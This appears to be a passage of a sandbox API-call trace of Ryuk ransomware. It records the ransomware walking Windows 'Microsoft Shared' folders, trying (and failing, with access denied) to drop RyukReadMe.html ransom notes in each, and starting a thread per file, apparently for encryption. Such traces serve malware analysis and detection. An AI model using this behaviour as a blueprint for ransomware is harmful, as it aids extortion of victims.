	[0166.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.221] GetLastError () returned 0x5
	[0166.221] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0166.221] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0166.391] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.392] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0166.392] SetLastError (dwErrCode=0x0) 
	[0166.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.392] GetLastError () returned 0x5
	[0166.392] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0166.393] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0166.438] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.438] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x90, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1
	[0166.438] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510
	[0166.441] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.442] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x90, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1
	[0166.442] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x90, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1
	[0166.442] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x90, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0
	[0166.442] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0166.442] SetLastError (dwErrCode=0x0) 
	[0166.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.443] GetLastError () returned 0x5
	[0166.443] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0166.443] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.443] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0166.443] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1
	[0166.443] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1
	[0166.443] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1
	[0166.443] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1
	[0166.443] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1
	[0166.444] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1
	[0166.444] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1
	[0166.444] SetLastError (dwErrCode=0x0) 
	[0166.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.444] GetLastError () returned 0x5
	[0166.444] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0166.444] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0166.446] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.447] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0166.447] SetLastError (dwErrCode=0x0) 
	[0166.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.447] GetLastError () returned 0x5
	[0166.447] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0166.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0166.448] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.448] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x9c, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1
	[0166.448] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518
	[0166.450] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.451] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x9c, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1
	[0166.451] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c
	[0166.453] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.454] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x9c, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1
	[0166.454] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520
	[0166.456] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.456] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x9c, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1
	[0166.457] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524
	[0166.460] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.460] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x9c, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1
	[0166.460] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528
	[0166.463] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.464] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x9c, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0
	[0166.464] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0166.470] SetLastError (dwErrCode=0x0) 
	[0166.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.470] GetLastError () returned 0x5
	[0166.470] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0166.471] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.471] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x90, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0166.471] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514
	[0166.474] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.475] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x90, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0
	[0166.475] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0166.475] SetLastError (dwErrCode=0x0) 
	[0166.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.476] GetLastError () returned 0x5
	[0166.476] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0166.476] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.476] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x7c, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0166.476] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1
